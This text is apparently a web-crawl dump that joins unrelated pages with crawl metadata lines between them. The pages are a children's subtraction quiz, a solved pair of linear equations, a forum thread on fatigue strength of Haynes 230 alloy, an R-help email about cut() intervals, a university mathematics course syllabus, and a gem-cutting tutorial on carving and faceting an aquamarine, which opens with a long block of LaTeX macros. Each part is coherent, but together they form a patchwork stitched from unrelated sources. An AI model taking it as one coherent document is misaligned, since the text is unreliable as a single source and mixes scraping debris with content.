– Article written by Mark | 705 | 2,720 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.46875 | 3 | CC-MAIN-2024-10 | latest | en | 0.868105 |
https://www.turtlediary.com/quiz/subtract-tens.html?app=1?top.html?topicname=beg.html?topicname=beg.html?topicname=beg.html?topicname=beginner?topicname=beg.html | 1,713,553,880,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296817442.65/warc/CC-MAIN-20240419172411-20240419202411-00705.warc.gz | 942,214,969 | 31,946 | # Subtract Tens
Rate 0 stars
Quiz size:
Message preview:
Someone you know has shared quiz with you:
To play this quiz, click on the link below:
https://www.turtlediary.com/quiz/subtract-tens.html?app=1?top.html?topicname=beg.html?topicname=beg.html?topicname=beg.html?topicname=beginner?topicname=beg.html
Hope you have a good experience with this site and recommend to your friends too.
Login to rate activities and track progress.
Login to rate activities and track progress.
Let's subtract 10 from 48.
48 – 10 = ?
Here,
48 can be written as 4 tens and 8 ones.
10 can be written as 1 ten.
So,
48 – 10 = 4 tens + 8 ones – 1 ten
Now, subtract tens.
4 tens + 8 ones – 1 ten
= (4 tens – 1 ten) + 8 ones
= 3 tens + 8 ones
= 38
So, 48 – 10 = 38.
ds
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z | 262 | 814 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.96875 | 4 | CC-MAIN-2024-18 | latest | en | 0.835154 |
https://www.topperlearning.com/answer/13d-16g-6-32d-25g-30solve/fw50i8ww | 1,695,972,778,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233510498.88/warc/CC-MAIN-20230929054611-20230929084611-00324.warc.gz | 1,139,460,320 | 55,283 | Request a call back
# CBSE Class 10 Answered
13d+16g=6 & 32d+25g=30solve
Asked by ravinagade1997 | 25 Jul, 2019, 08:15: PM
13d + 16g = 6
16g = 6 - 13d
g = (6 - 13d)/16 ....(i)
32d + 25g = 30 ....(ii)
Put (i) in (ii) we get
32d + 25g = 30
32d + 25(6 - 13d)/16 = 30
512d + 150 - 325d = 480
187d = 330
d = 330/187 = 30/17 and g = -18/17
Answered by Sneha shidid | 26 Jul, 2019, 09:27: AM
## Concept Videos
CBSE 10 - Maths
Asked by luckyalvi84509 | 20 Feb, 2021, 04:36: PM
CBSE 10 - Maths
Asked by sk6058812 | 02 Dec, 2020, 11:25: PM
CBSE 10 - Maths
Asked by daskousik2004 | 21 Aug, 2020, 10:35: PM
CBSE 10 - Maths
Asked by guduguntlammulu28102004 | 15 Aug, 2020, 05:09: PM
CBSE 10 - Maths
Asked by arindeep.singh | 29 May, 2020, 03:13: PM
CBSE 10 - Maths
Asked by karanbora625 | 19 Apr, 2020, 02:00: PM | 395 | 806 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.359375 | 3 | CC-MAIN-2023-40 | latest | en | 0.889675 |
https://www.engineersedge.com/engineering-forum/showthread.php/992-Determining-Ductility-and-also-Fatigue-Strength?s=8924ebdbf220429ad5a3db0fc8e65ffe | 1,597,174,949,000,000,000 | text/html | crawl-data/CC-MAIN-2020-34/segments/1596439738819.78/warc/CC-MAIN-20200811180239-20200811210239-00157.warc.gz | 643,343,743 | 10,828 | # Thread: Determining Ductility and also Fatigue Strength
1. ## Determining Ductility and also Fatigue Strength
I'm trying to come up with an fatigue strength value for Haynes 230 at 1600F. I can't find a published value anywhere so I've been researching methods to calculate it. I found the Manson-Hirschberg Universal Slopes Equation which predicts strain using ultimate tensile strength, elastic modulus, cycles to failure, and % Reduction in Area.
I guess the 2 questions that arise are: Can I calculate % Reduction in Area from Poisson's Ratio and % Elongation? Once I calculate strain using the Universal Slopes Equation can I use that to calculate the stress and use that number as a fatigue strength?
Attached is a pdf with the calcs I've done. Not sure if I'm off my rocker on this.
2. I assume you first checked here...
http://www.haynesintl.com/230HaynesAlloy.htm
3. Yes, I've used the Low Cycle Fatigue data there as a check for the strain I calculated using the Universal Slopes Equation and it checks out.
I guess the important question is whether or not calculating Stress from the Total Strain Range and Elastic Modulus is a valid way to determine the fatigue strength.
In the end I need to know if the stresses I'm seeing during vibration simulation are going to be problematic.
4. If fatigue life is going to be an issue for your application, then the only sure way is destruction testing to build a database of conditions and results. it is not just for the fun of seeing things break that they life-cycle-test airplane wings to destruction.
5. I will be doing vibration testing as part of my qualification plan. I'd like to have some assurance that I'll make it through the test before I start. Any thoughts on the calculations I have done?
6. Nicely presented calculations and what you have done appears good, but still hard to say what is going to happen with actual testing. Still too many unknowns to form much of an opinion. To be fair, not an area I have had a great deal of experience in and certainly not at that elevated temp.
Try a PM to Zeke for an opinion, he seems to have had more experience in that arena -- I think.
#### Posting Permissions
• You may not post new threads
• You may not post replies
• You may not post attachments
• You may not edit your posts
• | 510 | 2,311 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2020-34 | latest | en | 0.943905 |
https://stat.ethz.ch/pipermail/r-help/2016-April/437901.html | 1,627,439,410,000,000,000 | text/html | crawl-data/CC-MAIN-2021-31/segments/1627046153515.0/warc/CC-MAIN-20210727233849-20210728023849-00412.warc.gz | 555,453,705 | 3,552 | # [R] Trying to understand cut
Jim Lemon drjimlemon at gmail.com
Sun Apr 17 07:15:41 CEST 2016
```Hi John,
Both the "right" and "include.lowest" arguments are usually useful
when there are values equal to those in "breaks". A value equal to a
break can fall on either side of the break depending upon these
arguments:
> nums<-1:100
> table(cut(nums,breaks=seq(0,100,by=10)))
(0,10] (10,20] (20,30] (30,40] (40,50] (50,60] (60,70] (70,80]
10 10 10 10 10 10 10 10
(80,90] (90,100]
10 10
because the breaks are left-closed all of the values equal to a break
at the higher end are shifted up and the 100 value is lost in this one
> table(cut(nums,breaks=seq(0,100,by=10),right=FALSE))
[0,10) [10,20) [20,30) [30,40) [40,50) [50,60) [60,70) [70,80)
9 10 10 10 10 10 10 10
[80,90) [90,100)
10 10
but if I include.lowest (which is really highest when right=FALSE),
the highest value in the last cut (100) is preserved.
> table(cut(nums,breaks=seq(0,100,by=10),right=FALSE,include.lowest=TRUE))
[0,10) [10,20) [20,30) [30,40) [40,50) [50,60) [60,70) [70,80)
9 10 10 10 10 10 10 10
[80,90) [90,100]
10 11
data.frame(A=nums,
B=cut(nums,breaks=seq(0,100,by=10),right=FALSE,
include.lowest=TRUE))
to see the correspondence.
Jim
On Sun, Apr 17, 2016 at 2:12 PM, John Sorkin
<jsorkin at grecc.umaryland.edu> wrote:
> Jeff,
> Perhaps I was sloppy with my notation:
> I want groups
>>=0 <10
>>=10 <20
>>=20<30
> ......
>>=90 <100
>
> In any event, my question remains, why did the four different versions of cut give me the same results? I hope someone can explain to me the function of
> include.lowest and right in the call to cut. As demonstrated in my example below, the parameters do not seem to alter the results of using cut.
> Thank you,
> John
>
>
> P.S. How do I find FAQ 7.31?
> Thank you,
> John
>
> I
>
>
>
> John David Sorkin M.D., Ph.D.
> Professor of Medicine
> Chief, Biostatistics and Informatics
> University of Maryland School of Medicine Division of Gerontology and Geriatric Medicine
> Baltimore VA Medical Center
> 10 North Greene Street
> GRECC (BT/18/GR)
> Baltimore, MD 21201-1524
> (Phone) 410-605-7119
> (Fax) 410-605-7913 (Please call phone number above prior to faxing)
>>>> Jeff Newmiller <jdnewmil at dcn.davis.ca.us> 04/16/16 11:07 PM >>>
> Have you read FAQ 7.31 recently, John? Your whole premise is flawed. You should be thinking of ranges [0,10), [10,20), and so on because numbers ending in 0.9 are never going to be exact.
> --
> Sent from my phone. Please excuse my brevity.
>
>
> On April 16, 2016 7:38:50 PM PDT, John Sorkin <jsorkin at grecc.umaryland.edu> wrote:
> I am trying to understand cut so I can divide a list of numbers into 10 group:
> 0-9.0
> 10-10.9
> 20-20.9
> 30-30.9,
> 40-40.9,
> 50-50.9
> 60-60.9
> 70-70.9
> 80-80.9
> 90-90.9
>
> As I try to do this, I have been playing with the cut function. Surprising the following for applications of cut give me the exact same groups. This surprises me given that I have varied parameters include.lowest and right. Can someone help me understand what include.lowest and right do? I have looked at the help page, but I don't seem to understand what I am being told!
> Thank you,
> John
>
> values <- c((0:99),c(0.9:99.9))
> sort(values)
> c1<-cut(values,10,include.lowest=FALSE,right=TRUE)
> c2<-cut(values,10,include.lowest=FALSE,right=FALSE)
> c3<-cut(values,10,include.lowest=TRUE,right=TRUE)
> c4<-cut(values,10,include.lowest=TRUE,right=FALSE)
> cbind(min=aggregate(values,list(c1),min),max=aggregate(values,list(c1),max))
> cbind(min=aggregate(values,list(c2),min),max=aggregate(values,list(c2),max))
> cbind(min=aggregate(values,list(c3),min),max=aggregate(values,list(c3),max))
> cbind(min=aggregate(values,list(c4),min),max=aggregate(values,list(c4),max))
>
> You can run the code below, or inspect the results I got which are reproduced below:
>
> cbind(min=aggregate(values,list(c1),min),max=aggregate(values,list(c1),max))
>
> min.Group.1 min.x max.Group.1 max.x
> 1 (-0.0999,9.91] 0 (-0.0999,9.91] 9.9
> 2 (9.91,19.9] 10 (9.91,19.9] 19.9
> 3 (19.9,29.9] 20 (19.9,29.9] 29.9
> 4 (29.9,39.9] 30 (29.9,39.9] 39.9
> 5 (39.9,50] 40 (39.9,50] 49.9
> 6 (50,60] 50 (50,60] 59.9
> 7 (60,70] 60 (60,70] 69.9
> 8 (70,80] 70 (70,80] 79.9
> 9 (80,90] 80 (80,90] 89.9
> 10 (90,100] 90 (90,100] 99.9
> cbind(min=aggregate(values,list(c2),min),max=aggregate(values,list(c2),max))
>
> min.Group.1 min.x max.Group.1 max.x
> 1 [-0.0999,9.91) 0 [-0.0999,9.91) 9.9
> 2 [9.91,19.9) 10 [9.91,19.9) 19.9
> 3 [19.9,29.9) 20 [19.9,29.9) 29.9
> 4 [29.9,39.9) 30 [29.9,39.9) 39.9
> 5 [39.9,50) 40 [39.9,50) 49.9
> 6 [50,60) 50 [50,60) 59.9
> 7 [60,70) 60 [60,70) 69.9
> 8 [70,80) 70 [70,80) 79.9
> 9 [80,90) 80 [80,90) 89.9
> 10 [90,100) 90 [90,100) 99.9
> cbind(min=aggregate(values,list(c3),min),max=aggregate(values,list(c3),max))
>
> min.Group.1 min.x max.Group.1 max.x
> 1 [-0.0999,9.91] 0 [-0.0999,9.91] 9.9
> 2 (9.91,19.9] 10 (9.91,19.9] 19.9
> 3 (19.9,29.9] 20 (19.9,29.9] 29.9
> 4 (29.9,39.9] 30 (29.9,39.9] 39.9
> 5 (39.9,50] 40 (39.9,50] 49.9
> 6 (50,60] 50 (50,60] 59.9
> 7 (60,70] 60 (60,70] 69.9
> 8 (70,80] 70 (70,80] 79.9
> 9 (80,90] 80 (80,90] 89.9
> 10 (90,100] 90 (90,100] 99.9
> cbind(min=aggregate(values,list(c4),min),max=aggregate(values,list(c4),max))
>
> min.Group.1 min.x max.Group.1 max.x
> 1 [-0.0999,9.91) 0 [-0.0999,9.91) 9.9
> 2 [9.91,19.9) 10 [9.91,19.9) 19.9
> 3 [19.9,29.9) 20 [19.9,29.9) 29.9
> 4 [29.9,39.9) 30 [29.9,39.9) 39.9
> 5 [39.9,50) 40 [39.9,50) 49.9
> 6 [50,60) 50 [50,60) 59.9
> 7 [60,70) 60 [60,70) 69.9
> 8 [70,80) 70 [70,80) 79.9
> 9 [80,90) 80 [80,90) 89.9
> 10 [90,100] 90 [90,100] 99.9
> John David Sorkin M.D., Ph.D.
> Professor of Medicine
> Chief, Biostatistics and Informatics
> University of Maryland School of Medicine Division of Gerontology and Geriatric Medicine
> Baltimore VA Medical Center
> 10 North Greene Street
> GRECC (BT/18/GR)
> Baltimore, MD 21201-1524
> (Phone) 410-605-7119
> (Fax) 410-605-7913 (Please call phone number above prior to faxing)
>
> Confidentiality Statement:
> This email message, including any attachments, isfor t...{{dropped:26}}
``` | 2,764 | 6,905 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.625 | 3 | CC-MAIN-2021-31 | latest | en | 0.753014 |
https://bilakniha.cvut.cz/next/en/predmet7158406.html | 1,713,553,392,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296817442.65/warc/CC-MAIN-20240419172411-20240419202411-00298.warc.gz | 111,280,157 | 3,814 | CZECH TECHNICAL UNIVERSITY IN PRAGUE
STUDY PLANS
2024/2025
# Mathematics III.
The course is not on the list Without time-table
Code Completion Credits Range Language
E011093 Z,ZK 4 2P+2C+0L English
Garant předmětu:
Lecturer:
Tutor:
Supervisor:
Department of Technical Mathematics
Synopsis:
Infinite series. Number series. Convergence criteria for series with nonnegative terms.
Absolute and relative convergence. Alternating series, Leibniz's criterion.
Series of functions, the domain of convergence. Power series. Center and radius of convergence. Examination of the interval of convergence and the domain of convergence.
Operations with the power series. Expansion of functions into Taylor series.
Fourier series. Calculation of Fourier coefficients, the convergence of Fourier series.
Approximation of functions by trigonometric polynomials. Cosine and sine Fourier series.
Ordinary differential equations. First-order equations.
Sufficient conditions for the existence and uniqueness of the maximal solution of the Cauchy’s problem.
Second-order linear equations. The structure of the set of solutions. The fundamental system, the general solutions, particular solutions. Physical interpretation.
Systems of equations in the normal form. Autonomous systems. Equilibrium points, trajectories of systems.
Linear systems. The fundamental system, general solutions, particular solutions.
Linear systems with constant coefficients. Euler's method. Solution of non-homogeneous systems.
Elimination method. Solution of differential equations using power series.
Requirements:
Syllabus of lectures:
Infinite series. Number series. Convergence criteria for series with nonnegative terms.
Absolute and relative convergence. Alternating series, Leibniz's criterion.
Series of functions, the domain of convergence. Power series. Center and radius of convergence. Examination of the interval of convergence and the domain of convergence.
Operations with the power series. Expansion of functions into Taylor series.
Fourier series. Calculation of Fourier coefficients, the convergence of Fourier series.
Approximation of functions by trigonometric polynomials. Cosine and sine Fourier series.
Ordinary differential equations. First-order equations.
Sufficient conditions for the existence and uniqueness of the maximal solution of the Cauchy’s problem.
Second-order linear equations. The structure of the set of solutions. The fundamental system, the general solutions, particular solutions. Physical interpretation.
Systems of equations in the normal form. Autonomous systems. Equilibrium points, trajectories of systems.
Linear systems. The fundamental system, general solutions, particular solutions.
Linear systems with constant coefficients. Euler's method. Solution of non-homogeneous systems.
Elimination method. Solution of differential equations using power series.
Syllabus of tutorials:
Study Objective:
Study materials:
Burda, P.: Mathematics III, Ordinary Differential Equations and Infinite Series, CTU Publishing House, Prague, 1998.
Robinson, James C.: An Introduction to Ordinary Differential Equations, Cambridge University Press 2004
ISBN: ISBN number:9780521826501, ISBN 9780511164033
https://ebookcentral.proquest.com/lib/cvut/detail.action?docID=255188&query=ordinary+differential+equations
Note:
Further information:
No time-table has been prepared for this course
The course is a part of the following study plans:
Data valid to 2024-04-19
Aktualizace výše uvedených informací naleznete na adrese https://bilakniha.cvut.cz/en/predmet7158406.html | 734 | 3,599 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.625 | 3 | CC-MAIN-2024-18 | latest | en | 0.797643 |
https://geo.libretexts.org/Bookshelves/Geology/Gemology/17%3A_Lapidary_Arts/17.03%3A_Easy_Combination_Cutting_MV | 1,721,378,667,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514900.59/warc/CC-MAIN-20240719074314-20240719104314-00505.warc.gz | 232,010,615 | 32,792 | # 17.3: Easy Combination Cutting MV
$$\newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} }$$
$$\newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}}$$
$$\newcommand{\id}{\mathrm{id}}$$ $$\newcommand{\Span}{\mathrm{span}}$$
( \newcommand{\kernel}{\mathrm{null}\,}\) $$\newcommand{\range}{\mathrm{range}\,}$$
$$\newcommand{\RealPart}{\mathrm{Re}}$$ $$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$
$$\newcommand{\Argument}{\mathrm{Arg}}$$ $$\newcommand{\norm}[1]{\| #1 \|}$$
$$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$
$$\newcommand{\Span}{\mathrm{span}}$$
$$\newcommand{\id}{\mathrm{id}}$$
$$\newcommand{\Span}{\mathrm{span}}$$
$$\newcommand{\kernel}{\mathrm{null}\,}$$
$$\newcommand{\range}{\mathrm{range}\,}$$
$$\newcommand{\RealPart}{\mathrm{Re}}$$
$$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$
$$\newcommand{\Argument}{\mathrm{Arg}}$$
$$\newcommand{\norm}[1]{\| #1 \|}$$
$$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$
$$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\AA}{\unicode[.8,0]{x212B}}$$
$$\newcommand{\vectorA}[1]{\vec{#1}} % arrow$$
$$\newcommand{\vectorAt}[1]{\vec{\text{#1}}} % arrow$$
$$\newcommand{\vectorB}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} }$$
$$\newcommand{\vectorC}[1]{\textbf{#1}}$$
$$\newcommand{\vectorD}[1]{\overrightarrow{#1}}$$
$$\newcommand{\vectorDt}[1]{\overrightarrow{\text{#1}}}$$
$$\newcommand{\vectE}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash{\mathbf {#1}}}}$$
$$\newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} }$$
$$\newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}}$$
$$\newcommand{\avec}{\mathbf a}$$ $$\newcommand{\bvec}{\mathbf b}$$ $$\newcommand{\cvec}{\mathbf c}$$ $$\newcommand{\dvec}{\mathbf d}$$ $$\newcommand{\dtil}{\widetilde{\mathbf d}}$$ $$\newcommand{\evec}{\mathbf e}$$ $$\newcommand{\fvec}{\mathbf f}$$ $$\newcommand{\nvec}{\mathbf n}$$ $$\newcommand{\pvec}{\mathbf p}$$ $$\newcommand{\qvec}{\mathbf q}$$ $$\newcommand{\svec}{\mathbf s}$$ $$\newcommand{\tvec}{\mathbf t}$$ $$\newcommand{\uvec}{\mathbf u}$$ $$\newcommand{\vvec}{\mathbf v}$$ $$\newcommand{\wvec}{\mathbf w}$$ $$\newcommand{\xvec}{\mathbf x}$$ $$\newcommand{\yvec}{\mathbf y}$$ $$\newcommand{\zvec}{\mathbf z}$$ $$\newcommand{\rvec}{\mathbf r}$$ $$\newcommand{\mvec}{\mathbf m}$$ $$\newcommand{\zerovec}{\mathbf 0}$$ $$\newcommand{\onevec}{\mathbf 1}$$ $$\newcommand{\real}{\mathbb R}$$ $$\newcommand{\twovec}[2]{\left[\begin{array}{r}#1 \\ #2 \end{array}\right]}$$ $$\newcommand{\ctwovec}[2]{\left[\begin{array}{c}#1 \\ #2 \end{array}\right]}$$ $$\newcommand{\threevec}[3]{\left[\begin{array}{r}#1 \\ #2 \\ #3 \end{array}\right]}$$ $$\newcommand{\cthreevec}[3]{\left[\begin{array}{c}#1 \\ #2 \\ #3 \end{array}\right]}$$ $$\newcommand{\fourvec}[4]{\left[\begin{array}{r}#1 \\ #2 \\ #3 \\ #4 \end{array}\right]}$$ $$\newcommand{\cfourvec}[4]{\left[\begin{array}{c}#1 \\ #2 \\ #3 \\ #4 \end{array}\right]}$$ $$\newcommand{\fivevec}[5]{\left[\begin{array}{r}#1 \\ #2 \\ #3 \\ #4 \\ #5 \\ \end{array}\right]}$$ $$\newcommand{\cfivevec}[5]{\left[\begin{array}{c}#1 \\ #2 \\ #3 \\ #4 \\ #5 \\ \end{array}\right]}$$ $$\newcommand{\mattwo}[4]{\left[\begin{array}{rr}#1 \amp #2 \\ #3 \amp #4 \\ \end{array}\right]}$$ $$\newcommand{\laspan}[1]{\text{Span}\{#1\}}$$ $$\newcommand{\bcal}{\cal B}$$ $$\newcommand{\ccal}{\cal C}$$ $$\newcommand{\scal}{\cal S}$$ $$\newcommand{\wcal}{\cal W}$$ $$\newcommand{\ecal}{\cal E}$$ $$\newcommand{\coords}[2]{\left\{#1\right\}_{#2}}$$ $$\newcommand{\gray}[1]{\color{gray}{#1}}$$ $$\newcommand{\lgray}[1]{\color{lightgray}{#1}}$$ $$\newcommand{\rank}{\operatorname{rank}}$$ $$\newcommand{\row}{\text{Row}}$$ $$\newcommand{\col}{\text{Col}}$$ $$\renewcommand{\row}{\text{Row}}$$ $$\newcommand{\nul}{\text{Nul}}$$ $$\newcommand{\var}{\text{Var}}$$ $$\newcommand{\corr}{\text{corr}}$$ $$\newcommand{\len}[1]{\left|#1\right|}$$ $$\newcommand{\bbar}{\overline{\bvec}}$$ $$\newcommand{\bhat}{\widehat{\bvec}}$$ $$\newcommand{\bperp}{\bvec^\perp}$$ $$\newcommand{\xhat}{\widehat{\xvec}}$$ $$\newcommand{\vhat}{\widehat{\vvec}}$$ $$\newcommand{\uhat}{\widehat{\uvec}}$$ $$\newcommand{\what}{\widehat{\wvec}}$$ $$\newcommand{\Sighat}{\widehat{\Sigma}}$$ $$\newcommand{\lt}{<}$$ $$\newcommand{\gt}{>}$$ $$\newcommand{\amp}{&}$$ $$\definecolor{fillinmathshade}{gray}{0.9}$$
## Easy Combination cutting MV
### Combination cutting: a minimalist approach - Marco Voltolini
With the term "combination cutting" we basically mean those cuts where faceting and carving techniques are combined by the lapidarist.
In this tutorial, I'll show how to cut such a stone with minimal equipment (assuming you already have a faceting machine). Improved and more specialized equipment is of course used by the real pro's in the field. Anyway even with my simple approach it is possible to obtain very good results: I'll show you how I cut an aquamarine featuring "bubbles", "channels" and other features, to obtain a cut stone truly different from what you can usually find on the market.
Figure $$\PageIndex{1}$$: Aquamarine rough used for this tutorial
Let's start with the rough: in my case it's an aquamarine. The piece is rather flat and has a couple of small surface cracks. Now, with combination cutting the depth required to cut a stone can be smaller that the one required by conventional facet designs, because it is usually not a problem to have open culets and/or carve that part of the stone. So combination cuts can offer a bonus when you have a nice, clean, big, but flat piece of rough. Also, surface flaws are not an issue: you can plan a "bubble" (or any other carved feature) strategically, in the position where those flaws are. I would suggest to use only clean pieces, since evident flaws can detract the attention from the carved features (unless you are dealing with some nice-looking included materials, tourmalinated quartz, for example)
Figure $$\PageIndex{2}$$: Cutting the preform
Once you have selected your piece of rough, just dop it and start to facet the stone. Any design with few large facets should work well. If you want to have reflection (my advice is to do so) cut above the critical angle. I chose a cushion-ish shape and I cut all the pavilion facets at 42 degrees. I also cut a open culet. Don't waste your time cutting with fine grits here, since you'll have to recut the stone after carving. A finish using a 600 (or my very worn 260) plated lap is usually fine here. Look at the picture of my stone, where I've just finished this preforming stage.
Figure $$\PageIndex{3}$$: Tools for carving
Now it's time to cut the carved features on the pavilion. I quickly draw an outline on the stone using a marker. What I used at this stage:
- Dremel tool: you need such a tool (or better) for carving. A flex shaft sure will help, but mine was broken during this experiment. Using the Dermel alone is no big deal, just it's a little more uncomfortable for your wrist...
- Diamond carving burrs: I use either 600 or 1200 grit plated burrs. They can be found very cheap, but the quality is cheap as well. Anyway once you find what kind of burrs you use the most, you can upgrade those to good quality sintered burrs. Here I'm using cheap 600 grit plated burrs: a ball and a cylinder shaped ones.
- Bamboo skewers: for the sanding and polishing processes. The diameter of the skewer has to be compatible with the collet of your carving tool (i.e. ~ the same diameter of the shaft of your plated burrs).
- File for metal: if you want to shape your bamboo skewer tools. For example if you need a cone point, you just mount a piece of your skewer on the Dremel, you turn it on, and rub it at a proper angle on the file. Done. Usually the bamboo skewer will take the shape of the feature you are working into, so often this shaping process is unnecessary (es. I never do that when sanding/polishing "bubbles"). This file will be needed when you need to do some more "advanced" tools, such as small cutting disks out of nailheads (this kind of tools have not been used on this stone).
- Oil and water to use a s a lubricant. I use olive oil for diamonds and water for oxides. But when I cut with the plated burrs I use water.
- Diamond paste (I use 600, 1200, 3000 grit), Ce-oxide (since I'm cutting beryl)
- An old toothbrush is very helpful when cleaning the stone between different diamond grits. I use a disposable surface (old newspapers, old envelopes, etc) to work onto. Toilet paper for cleaning.
Figure $$\PageIndex{4}$$: Plated diamond burr
Now I use my plated burrs for carving the bubbles (ball) and the channels (cylinder). Be careful when you start cutting each feature not to slip with the burr. While cutting move the burr to avoid deep scratches: use an orbital motion for the bubbles and go forward-and-behind rather quickly when cutting the channels when you finish cutting them. Also, since you'll have to recut the stone after carving, go a little deeper than the outcome you have in mind. Pay attention not to chip too much the overlapped parts of the different carved features.
Figure $$\PageIndex{5}$$: (pre-)Carved pavilion
This picture is to see how my stone is after this first rough carving. Note the chipping where the bubbles meet the faceted surface. We will get rid of all those chips by recutting the stone, after finishing the carved features.
Figure $$\PageIndex{6}$$: Sanding stage
Next we need sanding. I started using my 600 grit diamond paste (using a hint of oil when needed). At this stage we need to smooth out all the scratches caused by cutting and to get rid of the chips where the different carved features are overlapping. There's no real need to smooth out the chips on the facets perfectly. Use the 1200 paste to smooth out the 600 grit surface. Clean again with the toothbrush. Pre-polish with the 3000 diamond paste.
Figure $$\PageIndex{7}$$: The carved features polished
For polishing I use a paste made of ceria and water, and I use again a piece of bamboo skewer. At this point it's rater easy to go dry and burn the wooden tool and overheat the stone. If things are getting dry and you feel your stone getting hot, stop immediately, wait a little (do NOT wet the stone to cool it down while it has a portion still hot: it could crack), and use more water/paste. Overheating is a problem since it will consume your tool and may cause cracking in your stone. So try to avoid it as much as you can; wet your stone frequently. Notice how the carved features are well-polished, the facet-bubble junctions still have chipping, but the bubble overlaps have been sanded to obtain crisp and sharp arcs, without any chipping left.
Figure $$\PageIndex{8}$$: The carved features polished
I have then remounted the stone on the quill of my faceting machine and re-cut the stone with my plated 600 grit lap until I got rid of all the chips. Note how crisp are now those junctions.
Figure $$\PageIndex{9}$$: The finished pavilion
After you got rid of all the chipping, simply proceed as usual for flat faceting: pre-polish and polish the facets. On this stone I left the culet and the girdle unpolished.
Figure $$\PageIndex{10}$$: Cutting the crown
Then you have to cut the crown. There are many options available: faceted crown, buff-top, mixed, etc. In this case I decided to cut a simple step crown, leaving one step unpolished to create a "frame" effect. That, coupled with the pavilion facets and the shape of the culet, adds a further impression of "depth" in the stone to the viewer. In the figure I'm starting to cut the table, using my 45 deg adapter.
Figure $$\PageIndex{11}$$: The finished stone
The stone off the dop and cleaned. It's pretty impressive for a stone cut using bamboo skewers, isn't it? My first stone of this kind sure wasn't as nice as this one, but with some practice the results will improve steadily. As you have seen, cutting this one was quite a lot of work, but results have been rewarding.
##### Different concepts & ideas
Figure $$\PageIndex{12}$$: The tool made from a steel nailhead, mounted on a flex shaft.
Figure $$\PageIndex{13}$$: The finished stone: the grooves were cut using the tool on the left.
Different carved features need different tools: in the example above we have seen how ball plated burrs can be used for "bubbles" and cylindrical burrs can be used for ~hemicylindrical grooves. For small "V" shaped grooves we can make the tool on your own out of a big iron (or, better, copper, if you can find it) nail. To make the tool in figure I simply cut the nail, mounted the end with the head on my Dremel tool, and shaped it on my file for metals. Once you have shaped it, you can charge this tool with diamond paste and use it for cutting the stone (I use 600 grit). For sanding and polishing, I used tools made from bamboo again. Using simple items available from any hardware store, it is possible to make a wide range of carving tools [1]
Figure $$\PageIndex{14}$$: No flat facets for this one
You don't necessarily need a faceting machine for this kind of cuts: this one features only curved surfaces (the "pavilion" is shaped like a boat) and a buff-top. "Bubbles have been carved on the "pavilion" to obtain this overall pleasing effect.
